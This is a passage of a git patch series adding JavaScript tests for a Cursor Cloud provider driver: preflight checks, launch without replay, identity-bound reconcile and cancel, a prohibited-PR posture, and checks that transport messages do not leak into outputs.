+ CURSOR_CLOUD_DRIVER_SCHEMA_ID, + CURSOR_CLOUD_PROVIDER_SLOT, + CURSOR_CLOUD_TRANSPORT_OPERATIONS, + assertCursorCloudTransportV1, + bindCursorCloudDriverV1, + createCursorCloudDriverV1, + cursorCloudDriverDeclarationV1, + describeCursorCloudDriverV1, +} from '../mcp/v3/cursor-cloud-driver.mjs'; +import { childEnvelopeDigestV1 } from '../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../mcp/v3/prompt-compiler.mjs'; +import { + DRIVER_OPERATION_SCHEMA_IDS, + PROVIDER_DRIVER_VERSION, + assertCapabilityRequirementV1, + assertProviderDriverV1, + buildDriverOperationRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + CLOUD_FIXTURE_AGENT_ID, + CLOUD_FIXTURE_BRANCH, + CLOUD_FIXTURE_MODEL, + CLOUD_FIXTURE_PROVIDER_RUN_ID, + CLOUD_FIXTURE_REPO_IDENTITY, + CLOUD_FIXTURE_REPO_URL, + LEAK_MARKER, + buildCursorCloudDriverFixtureV1, + createScriptedCursorCloudTransportV1, + cursorCloudCallsOf, +} from './fixtures/r1-cursor-cloud-driver-fixtures.mjs'; + +const fixture = buildCursorCloudDriverFixtureV1(); + +function expectCode(fn, code, message) { + assert.throws(fn, (error) => error instanceof RunContractV1Error && error.code === code, message); +} + +function requestFor(operation, extras = {}, source = fixture) { + return buildDriverOperationRequestV1(operation, source.envelope, extras); +} + +function launchReady(transport = createScriptedCursorCloudTransportV1()) { + const driver = bindCursorCloudDriverV1(transport); + assert.equal(driver.preflight(requestFor('preflight')).disposition, 'ready'); + return { driver, transport }; +} + +function transportCounts(transport) { + return { + preflight: cursorCloudCallsOf(transport, 'preflight').length, + create: cursorCloudCallsOf(transport, 'create').length, + send: cursorCloudCallsOf(transport, 'send').length, + observe: cursorCloudCallsOf(transport, 'observe').length, + cancel: cursorCloudCallsOf(transport, 'cancel').length, + reattach: cursorCloudCallsOf(transport, 'reattach').length, + }; +} + +test('factory surface is closed, frozen, and hard-bound to cursor-cloud', () => { + const transport = createScriptedCursorCloudTransportV1(); + const summary = assertCursorCloudTransportV1(transport); + assert.equal(summary.schema, 'codex-co-engineer.cursor-cloud-transport.v1'); + assert.deepEqual([...summary.operations], [...CURSOR_CLOUD_TRANSPORT_OPERATIONS]); + const driver = createCursorCloudDriverV1(transport); + assertProviderDriverV1(driver); + assert.deepEqual(Object.keys(driver).sort(), ['cancel', 'launch', 'preflight', 'reconcile']); + assert.ok(Object.isFrozen(driver)); + const declaration = cursorCloudDriverDeclarationV1(); + assert.equal(declaration.capability.provider, CURSOR_CLOUD_PROVIDER_SLOT); + assert.equal(declaration.capability.revision, CURSOR_CLOUD_CAPABILITY_REVISION); +}); + +test('the shipped declaration keeps asserting the honest Cursor Cloud posture', () => { + const capability = assertCapabilityRequirementV1(cursorCloudDriverDeclarationV1(), { + artifact_kinds: ['cloud_receipt', 'provider_report'], + create_pr_posture: 'prohibited', + dispatch_certainty: 'confirmed_launch', + exact_model_selection: 'exact_and_attested', + merge_authority: 'none_codex_only_integration', + replay_posture: 'never_replay', + same_session_reply: 'unsupported_unresolved_attention', + workspace_semantics: 'remote_provider_managed', + workspace_starting_point: 'pinned_pushed_sha', + }); + assert.equal(capability.provider, 'cursor-cloud'); + assert.deepEqual({ ...cursorCloudDriverDeclarationV1().features }, { + cancellation: 'supported', + detailed_events: 'supported', + live_progress: 'supported', + restart: 'reconcile_reattach_only', + }); +}); + +test('describe reports bounded vocabularies and only false live claims', () => { + const description = describeCursorCloudDriverV1(); + assert.equal(description.schema, CURSOR_CLOUD_DRIVER_SCHEMA_ID); + assert.equal(description.provider, 'cursor-cloud'); + assert.equal(description.create_pr_posture, 'prohibited'); + assert.equal(description.live_qualification, false); + for (const value of Object.values(description.claims)) assert.equal(value, false); + assert.ok(CURSOR_CLOUD_DETAIL_CODES.length >= 16); + assert.equal(new Set(CURSOR_CLOUD_DETAIL_CODES).size, CURSOR_CLOUD_DETAIL_CODES.length); + assert.deepEqual([...description.forbidden ?? description.later_real_cursor_cloud_route.forbidden].sort(), [ + 'cli_fallback_after_send', 'create_pr', 'digest_only_launch', 'merge_or_push', + 'post_intent_retry', 'provider_or_model_substitution', 'same_session_reply', + ].sort()); +}); + +test('preflight is ready on a clean pinned workspace with attested exact model', () => { + const { driver, transport } = launchReady(); + const probe = cursorCloudCallsOf(transport, 'preflight')[0]; + assert.equal(probe.provider, 'cursor-cloud'); + assert.equal(probe.model, CLOUD_FIXTURE_MODEL); + assert.equal(probe.starting_sha, fixture.base_sha); + assert.equal(probe.run_id, fixture.run_id); + assert.equal(probe.assignment_id, fixture.assignment_id); + assert.equal(probe.child_envelope_digest, fixture.child_envelope_digest); + assert.equal(driver.preflight(requestFor('preflight')).disposition, 'ready'); +}); + +test('preflight blocks dirty, missing origin, invisible SHA, unattested model, and base advancement', () => { + const cases = [ + [{ ok: false, detail_code: 'workspace_dirty' }, 'workspace_dirty'], + [{ ok: false, detail_code: 'origin_missing' }, 'origin_missing'], + [{ ok: false, detail_code: 'starting_ref_invisible' }, 'starting_ref_invisible'], + [{ ok: false, detail_code: 'starting_ref_invalid' }, 'starting_ref_invalid'], + [{ ok: false, detail_code: 'base_advanced' }, 'base_advanced'], + [{ ok: false, detail_code: 'model_unattested' }, 'model_unattested'], + ]; + for (const [receipt, code] of cases) { + const transport = createScriptedCursorCloudTransportV1({ + preflight: [{ + ...receipt, + provider: 'cursor-cloud', + model: CLOUD_FIXTURE_MODEL, + requested_model: CLOUD_FIXTURE_MODEL, + effective_model: CLOUD_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + starting_sha: fixture.base_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + repository_url: CLOUD_FIXTURE_REPO_URL, + workspace_clean: code !== 'workspace_dirty', + starting_ref_visible: code !== 'starting_ref_invisible', + starting_ref_commit: code !== 'starting_ref_invalid', + head_sha: fixture.base_sha, + duplicate_identities: false, + credential_bearing: false, + auto_create_pr: false, + detail_message: 'transport authored leak', + }], + }); + const driver = bindCursorCloudDriverV1(transport); + const result = driver.preflight(requestFor('preflight')); + assert.equal(result.disposition, 'blocked', code); + assert.equal(result.detail_code, code); + assert.doesNotMatch(result.detail_message, /leak/i); + assert.doesNotMatch(result.detail_message, new RegExp(LEAK_MARKER, 'u')); + } +}); + +test('preflight ready requires attested requested and effective model equality', () => { + const transport = createScriptedCursorCloudTransportV1({ + preflight: [{ + ok: true, + provider: 'cursor-cloud', + model: CLOUD_FIXTURE_MODEL, + requested_model: CLOUD_FIXTURE_MODEL, + effective_model: 'gpt-5.1-codex', + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + starting_sha: fixture.base_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + repository_url: CLOUD_FIXTURE_REPO_URL, + workspace_clean: true, + starting_ref_visible: true, + starting_ref_commit: true, + head_sha: fixture.base_sha, + duplicate_identities: false, + credential_bearing: false, + auto_create_pr: false, + }], + }); + const driver = bindCursorCloudDriverV1(transport); + const result = driver.preflight(requestFor('preflight')); + assert.equal(result.disposition, 'blocked'); + assert.equal(result.detail_code, 'model_unattested'); +}); + +test('preflight rejects credential-bearing and duplicate identities without dispatch', () => { + const credential = createScriptedCursorCloudTransportV1({ + preflight: [{ + ok: true, + provider: 'cursor-cloud', + model: CLOUD_FIXTURE_MODEL, + requested_model: CLOUD_FIXTURE_MODEL, + effective_model: CLOUD_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + starting_sha: fixture.base_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + repository_url: CLOUD_FIXTURE_REPO_URL, + workspace_clean: true, + starting_ref_visible: true, + starting_ref_commit: true, + head_sha: fixture.base_sha, + duplicate_identities: false, + credential_bearing: true, + auto_create_pr: false, + }], + }); + expectCode(() => bindCursorCloudDriverV1(credential).preflight(requestFor('preflight')), + 'repository_credentials'); + assert.equal(transportCounts(credential).create, 0); + + const duplicate = createScriptedCursorCloudTransportV1({ + preflight: [{ + ok: true, + provider: 'cursor-cloud', + model: CLOUD_FIXTURE_MODEL, + requested_model: CLOUD_FIXTURE_MODEL, + effective_model: CLOUD_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + starting_sha: fixture.base_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + repository_url: CLOUD_FIXTURE_REPO_URL, + workspace_clean: true, + starting_ref_visible: true, + starting_ref_commit: true, + head_sha: fixture.base_sha, + duplicate_identities: true, + credential_bearing: false, + auto_create_pr: false, + }], + }); + expectCode(() => bindCursorCloudDriverV1(duplicate).preflight(requestFor('preflight')), + 'duplicate_identity'); + assert.equal(transportCounts(duplicate).create, 0); +}); + +test('launch dispatches only after authoritative agent, run, request, and branch identity', () => { + const { driver, transport } = launchReady(); + const launched = driver.launch(requestFor('launch')); + assert.equal(launched.disposition, 'dispatched'); + assert.equal(launched.detail_code, undefined); + assert.equal(launched.run_id, fixture.run_id); + assert.equal(launched.assignment_id, fixture.assignment_id); + assert.equal(launched.lane_index, fixture.lane_index); + assert.equal(launched.base_sha, fixture.base_sha); + assert.equal(launched.child_envelope_digest, fixture.child_envelope_digest); + const create = cursorCloudCallsOf(transport, 'create')[0]; + const send = cursorCloudCallsOf(transport, 'send')[0]; + assert.equal(create.auto_create_pr, false); + assert.equal(create.provider, 'cursor-cloud'); + assert.equal(create.starting_sha, fixture.base_sha); + assert.match(send.agent_id, /^bc-[0-9a-f]{32}$/u); + assert.match(send.request_id, /^ccr-[0-9a-f]{32}$/u); + assert.equal(send.envelope_text, fixture.envelope_text); + assert.equal(send.auto_create_pr, false); + assert.doesNotMatch(JSON.stringify(launched), new RegExp(LEAK_MARKER, 'u')); +}); + +test('create always sends auto_create_pr false and never authorizes a PR', () => { + const { transport } = launchReady(); + const driver = bindCursorCloudDriverV1(transport); + driver.preflight(requestFor('preflight')); + driver.launch(requestFor('launch')); + for (const request of cursorCloudCallsOf(transport, 'create')) { + assert.equal(request.auto_create_pr, false); + assert.equal(Object.hasOwn(request, 'create_pr'), false); + } + expectCode( + () => bindCursorCloudDriverV1(createScriptedCursorCloudTransportV1({ + preflight: [{ + ok: true, + provider: 'cursor-cloud', + model: CLOUD_FIXTURE_MODEL, + requested_model: CLOUD_FIXTURE_MODEL, + effective_model: CLOUD_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + starting_sha: fixture.base_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + repository_url: CLOUD_FIXTURE_REPO_URL, + workspace_clean: true, + starting_ref_visible: true, + starting_ref_commit: true, + head_sha: fixture.base_sha, + duplicate_identities: false, + credential_bearing: false, + auto_create_pr: true, + }], + })).preflight(requestFor('preflight')), + 'merge_authority_denied', + ); +}); + +test('create exception after intent is dispatch_uncertain and never replayed', () => { + const transport = createScriptedCursorCloudTransportV1({ + create: [{ throw: true, code: 'transport_timeout', message: `timeout ${LEAK_MARKER}` }], + }); + const driver = bindCursorCloudDriverV1(transport); + driver.preflight(requestFor('preflight')); + const launched = driver.launch(requestFor('launch')); + assert.equal(launched.disposition, 'dispatch_uncertain'); + assert.equal(launched.detail_code, undefined); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(transportCounts(transport).send, 0); +}); + +test('send acknowledgement failure after create is dispatch_uncertain', () => { + const transport = createScriptedCursorCloudTransportV1({ + send: [{ + acknowledged: false, + agent_id: CLOUD_FIXTURE_AGENT_ID, + provider_run_id: CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: 'ccr-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + branch: CLOUD_FIXTURE_BRANCH, + provider: 'cursor-cloud', + model: CLOUD_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + starting_sha: fixture.base_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + }], + }); + const driver = bindCursorCloudDriverV1(transport); + driver.preflight(requestFor('preflight')); + const launched = driver.launch(requestFor('launch')); + assert.equal(launched.disposition, 'dispatch_uncertain'); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); +}); + +test('cross-provider envelopes fail closed at the Cursor Cloud slot', () => { + const grokManifest = { + schema: 'codex-co-engineer.run.v1', + run_id: 'grok-not-cloud', + repository: { path: '/opt/codex-co-engineer-cursor-cloud/suite', base_sha: fixture.base_sha }, + objective: 'Wrong provider.', + assignments: [{ + assignment_id: 'grok-lane', + role: 'implement', + access: 'writer', + prompt: 'Do not launch.', + execution: { provider: 'grok', model: 'grok-4' }, + write_scope: ['mcp/**'], + acceptance: [{ command_id: 'unit-tests', timeout_ms: 600_000 }], + expected_duration_ms: 1_200_000, + required_evidence: ['provider_report'], + }], + policy: { + max_concurrency: 8, + require_same_base: true, + require_disjoint_writer_scopes: true, + allow_post_dispatch_fallback: false, + allow_merge: false, + allow_create_pr: false, + attention_mode: 'aggregate', + completion_mode: 'all_settled_then_verify', + }, + return_contract: { mode: 'verified_decision', include_artifact_refs: true }, + }; + const envelope = compileChildEnvelopeV1(grokManifest, 'grok-lane'); + const driver = bindCursorCloudDriverV1(createScriptedCursorCloudTransportV1()); + expectCode(() => driver.preflight({ + schema: DRIVER_OPERATION_SCHEMA_IDS.preflight, + version: PROVIDER_DRIVER_VERSION, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + }), 'provider_slot_mismatch'); +}); From 1bd23d9c91fa4bbb986d5fbd9b70a01109718b55 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 02:38:00 +0000 Subject: [PATCH 052/151] feat(cloud): reconcile pushed base agent run and branch identity Cover restart reattach by the exact recorded agent, run, and request identity, invisible starting SHA, duplicate/drifted Cloud identities, and terminal Git/branch/base evidence. Same-session attention stays unresolved and never becomes a replacement run. --- .../test/r1-cursor-cloud-driver.test.mjs | 212 ++++++++++++++++++ 1 file changed, 212 insertions(+) diff --git a/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs b/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs index ef33fad..b87bbf4 100644 --- a/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs +++ b/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs @@ -17,6 +17,7 @@ import { createCursorCloudDriverV1, cursorCloudDriverDeclarationV1, describeCursorCloudDriverV1, + inspectCursorCloudLaneEvidenceV1, } from '../mcp/v3/cursor-cloud-driver.mjs'; import { childEnvelopeDigestV1 } from '../mcp/v3/identity.mjs'; import { compileChildEnvelopeV1 } from '../mcp/v3/prompt-compiler.mjs'; @@ -400,3 +401,214 @@ test('cross-provider envelopes fail closed at the Cursor Cloud slot', () => { child_envelope_digest: childEnvelopeDigestV1(envelope).digest, }), 'provider_slot_mismatch'); }); + +function identityFields() { + return { + provider: 'cursor-cloud', + model: CLOUD_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + starting_sha: fixture.base_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + }; +} + +function dispatched(driver = bindCursorCloudDriverV1(createScriptedCursorCloudTransportV1())) { + assert.equal(driver.preflight(requestFor('preflight')).disposition, 'ready'); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched'); + return driver; +} + +test('reconcile observes in-progress Cloud identity without claiming extra Git facts', () => { + const transport = createScriptedCursorCloudTransportV1(); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + const observed = driver.reconcile(requestFor('reconcile', { include: ['live_progress'] })); + assert.equal(observed.disposition, 'in_progress'); + assert.equal(observed.detail_code, 'live_progress'); + assert.match(observed.detail_message, /^status=running events=1$/u); + const observe = cursorCloudCallsOf(transport, 'observe')[0]; + assert.equal(observe.starting_sha, fixture.base_sha); + assert.equal(observe.run_id, fixture.run_id); + const evidence = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(evidence.branch, CLOUD_FIXTURE_BRANCH); + assert.equal(evidence.git.starting_sha, fixture.base_sha); + assert.equal(evidence.git.head_sha, fixture.base_sha); + assert.equal(evidence.status, 'running'); + assert.equal(Object.hasOwn(evidence, 'tests_passed'), false); + assert.equal(Object.hasOwn(evidence, 'pr_url'), false); +}); + +test('terminal reconcile requires provider status plus independently verifiable Git evidence', () => { + const transport = createScriptedCursorCloudTransportV1({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id ?? CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'completed', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + linear_history: true, + })], + }); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + const terminal = driver.reconcile(requestFor('reconcile')); + assert.equal(terminal.disposition, 'terminal'); + assert.equal(terminal.detail_code, 'terminal_evidence'); + assert.match(terminal.detail_message, new RegExp(`branch=${CLOUD_FIXTURE_BRANCH}`)); + const evidence = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(evidence.git.merge_base_sha, fixture.base_sha); + assert.equal(evidence.git.linear_history, true); +}); + +test('terminal reconcile fails closed when Git/branch/base evidence is missing', () => { + const transport = createScriptedCursorCloudTransportV1({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id ?? CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + status: 'completed', + })], + }); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + expectCode(() => driver.reconcile(requestFor('reconcile')), 'malformed_receipt'); +}); + +test('invisible starting SHA blocks before create and is never launched', () => { + const transport = createScriptedCursorCloudTransportV1({ + preflight: [{ + ok: false, + ...identityFields(), + requested_model: CLOUD_FIXTURE_MODEL, + effective_model: CLOUD_FIXTURE_MODEL, + repository_url: CLOUD_FIXTURE_REPO_URL, + workspace_clean: true, + starting_ref_visible: false, + starting_ref_commit: true, + head_sha: fixture.base_sha, + duplicate_identities: false, + credential_bearing: false, + auto_create_pr: false, + detail_code: 'starting_ref_invisible', + detail_message: 'not pushed', + }], + }); + const driver = bindCursorCloudDriverV1(transport); + const blocked = driver.preflight(requestFor('preflight')); + assert.equal(blocked.disposition, 'blocked'); + assert.equal(blocked.detail_code, 'starting_ref_invisible'); + expectCode(() => driver.launch(requestFor('launch')), 'blocked_lane_denied'); + assert.equal(transportCounts(transport).create, 0); +}); + +test('duplicate or drifted Cloud run identity fails closed and is never substituted', () => { + const transport = createScriptedCursorCloudTransportV1({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: 'run-other-cloud', + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + linear_history: true, + })], + }); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + expectCode(() => driver.reconcile(requestFor('reconcile')), 'stale_identity_denied'); + assert.equal(transportCounts(transport).create, 1); + assert.equal(transportCounts(transport).send, 1); +}); + +test('restart reattaches only the exact recorded agent, run, and request identity', () => { + const transport = createScriptedCursorCloudTransportV1(); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + const send = cursorCloudCallsOf(transport, 'send')[0]; + const restarted = driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })); + assert.equal(restarted.disposition, 'in_progress'); + const reattach = cursorCloudCallsOf(transport, 'reattach')[0]; + assert.equal(reattach.agent_id, send.agent_id); + assert.equal(reattach.provider_run_id, CLOUD_FIXTURE_PROVIDER_RUN_ID); + assert.equal(reattach.request_id, send.request_id); + assert.equal(transportCounts(transport).create, 1); + assert.equal(transportCounts(transport).send, 1); +}); + +test('restart with a different recorded identity never starts a replacement run', () => { + const transport = createScriptedCursorCloudTransportV1({ + reattach: [(request) => ({ + reattached: true, + ...identityFields(), + agent_id: 'bc-other-agent', + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + })], + }); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + expectCode( + () => driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })), + 'stale_identity_denied', + ); + assert.equal(transportCounts(transport).send, 1); +}); + +test('needs_attention is unresolved evidence and never a same-session reply or new run', () => { + const transport = createScriptedCursorCloudTransportV1({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id ?? CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'needs_attention', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + linear_history: true, + attention: { question_id: 'q-cloud-1' }, + })], + }); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + const attention = driver.reconcile(requestFor('reconcile')); + assert.equal(attention.disposition, 'unresolved_attention'); + assert.equal(attention.detail_code, 'unresolved_attention'); + assert.match(attention.detail_message, /unsupported/u); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(transportCounts(transport).send, 1); +}); + +test('uncertain dispatch plus lost observation stays dispatch_uncertain without replay', () => { + const transport = createScriptedCursorCloudTransportV1({ + send: [{ throw: true, code: 'transport_lost', message: 'send dropped' }], + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'lost', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + ...(request.provider_run_id ? { provider_run_id: request.provider_run_id } : {}), + })], + }); + const driver = bindCursorCloudDriverV1(transport); + driver.preflight(requestFor('preflight')); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatch_uncertain'); + const observed = driver.reconcile(requestFor('reconcile')); + assert.equal(observed.disposition, 'dispatch_uncertain'); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); +}); From 6c3ef975e4eb431755aa3d1891efff01c8d0e05d Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 02:38:34 +0000 Subject: [PATCH 053/151] test(cloud): cover cancel, terminal latches, and archive evidence Prove cancellation targets only the exact recorded Cloud run, reports cancel and archive outcomes truthfully, and treats terminal evidence as absorbing: later cancel is already_terminal with no further transport. --- .../test/r1-cursor-cloud-driver.test.mjs | 128 ++++++++++++++++++ 1 file changed, 128 insertions(+) diff --git a/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs b/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs index b87bbf4..225d81b 100644 --- a/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs +++ b/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs @@ -612,3 +612,131 @@ test('uncertain dispatch plus lost observation stays dispatch_uncertain without assert.equal(observed.disposition, 'dispatch_uncertain'); expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); }); + +test('cancel targets only the exact recorded run and reports archive truthfully', () => { + const transport = createScriptedCursorCloudTransportV1(); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + const send = cursorCloudCallsOf(transport, 'send')[0]; + const cancelled = driver.cancel(requestFor('cancel')); + assert.equal(cancelled.disposition, 'cancel_confirmed'); + assert.equal(cancelled.detail_code, 'archive_confirmed'); + assert.match(cancelled.detail_message, /archived=true/u); + const cancel = cursorCloudCallsOf(transport, 'cancel')[0]; + assert.equal(cancel.agent_id, send.agent_id); + assert.equal(cancel.provider_run_id, CLOUD_FIXTURE_PROVIDER_RUN_ID); + assert.equal(cancel.request_id, send.request_id); +}); + +test('cancel reports a failed archive without claiming the agent was archived', () => { + const transport = createScriptedCursorCloudTransportV1({ + cancel: [(request) => ({ + outcome: 'cancel_confirmed', + archived: false, + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + ...identityFields(), + })], + }); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + const cancelled = driver.cancel(requestFor('cancel')); + assert.equal(cancelled.disposition, 'cancel_confirmed'); + assert.equal(cancelled.detail_code, 'archive_failed'); + assert.match(cancelled.detail_message, /archived=false/u); +}); + +test('cancel_requested stays nonterminal so a later cancel may still reach transport', () => { + const transport = createScriptedCursorCloudTransportV1({ + cancel: [ + (request) => ({ + outcome: 'cancel_requested', + archived: false, + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + ...identityFields(), + }), + (request) => ({ + outcome: 'cancel_confirmed', + archived: true, + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + ...identityFields(), + }), + ], + }); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + const first = driver.cancel(requestFor('cancel')); + assert.equal(first.disposition, 'cancel_requested'); + const second = driver.cancel(requestFor('cancel')); + assert.equal(second.disposition, 'cancel_confirmed'); + assert.equal(transportCounts(transport).cancel, 2); +}); + +test('terminal reconcile latches later cancel as already_terminal without transport', () => { + const transport = createScriptedCursorCloudTransportV1({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id ?? CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'completed', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + linear_history: true, + })], + }); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + assert.equal(driver.reconcile(requestFor('reconcile')).disposition, 'terminal'); + const cancelled = driver.cancel(requestFor('cancel')); + assert.equal(cancelled.disposition, 'already_terminal'); + assert.equal(cancelled.detail_code, 'already_terminal'); + assert.equal(transportCounts(transport).cancel, 0); + assert.equal(driver.reconcile(requestFor('reconcile')).disposition, 'terminal'); + assert.equal(transportCounts(transport).observe, 1); +}); + +test('confirmed cancellation latches later cancel as already_terminal without transport', () => { + const transport = createScriptedCursorCloudTransportV1(); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + assert.equal(driver.cancel(requestFor('cancel')).disposition, 'cancel_confirmed'); + assert.equal(transportCounts(transport).cancel, 1); + const again = driver.cancel(requestFor('cancel')); + assert.equal(again.disposition, 'already_terminal'); + assert.equal(transportCounts(transport).cancel, 1); + assert.equal(driver.reconcile(requestFor('reconcile')).disposition, 'terminal'); + assert.equal(transportCounts(transport).observe, 0); +}); + +test('cancel refuses a different Cloud agent or run identity', () => { + const transport = createScriptedCursorCloudTransportV1({ + cancel: [(request) => ({ + outcome: 'cancel_confirmed', + archived: true, + agent_id: 'bc-other-agent', + provider_run_id: request.provider_run_id, + request_id: request.request_id, + ...identityFields(), + })], + }); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + expectCode(() => driver.cancel(requestFor('cancel')), 'stale_identity_denied'); +}); + +test('inspect evidence after cancel exposes recorded identities without prompt text', () => { + const transport = createScriptedCursorCloudTransportV1(); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + driver.cancel(requestFor('cancel')); + const evidence = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(evidence.agent_id, cursorCloudCallsOf(transport, 'send')[0].agent_id); + assert.equal(evidence.provider_run_id, CLOUD_FIXTURE_PROVIDER_RUN_ID); + assert.equal(evidence.request_id, cursorCloudCallsOf(transport, 'send')[0].request_id); + assert.doesNotMatch(JSON.stringify(evidence), new RegExp(LEAK_MARKER, 'u')); + assert.doesNotMatch(JSON.stringify(evidence), /envelope_text|prompt/u); +}); From 65bcb9bad91ded55e9970e227e381520af337a7c Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 04:55:55 +0000 Subject: [PATCH 054/151] test(cloud): enforce no-PR and hostile receipt boundaries --- docs/cursor-cloud-driver.md | 118 +++ .../mcp/v3/cursor-cloud-driver.mjs | 565 ++++++++--- .../r1-cursor-cloud-driver-fixtures.mjs | 1 + ...1-cursor-cloud-driver-adversarial.test.mjs | 959 ++++++++++++++++++ .../test/r1-cursor-cloud-driver.test.mjs | 5 + 5 files changed, 1484 insertions(+), 164 deletions(-) create mode 100644 docs/cursor-cloud-driver.md create mode 100644 plugins/codex-co-engineer/test/r1-cursor-cloud-driver-adversarial.test.mjs diff --git a/docs/cursor-cloud-driver.md b/docs/cursor-cloud-driver.md new file mode 100644 index 0000000..ef21565 --- /dev/null +++ b/docs/cursor-cloud-driver.md @@ -0,0 +1,118 @@ +# Cursor Cloud SDK provider driver (P21) + +Status: implemented against an injected bounded Cursor 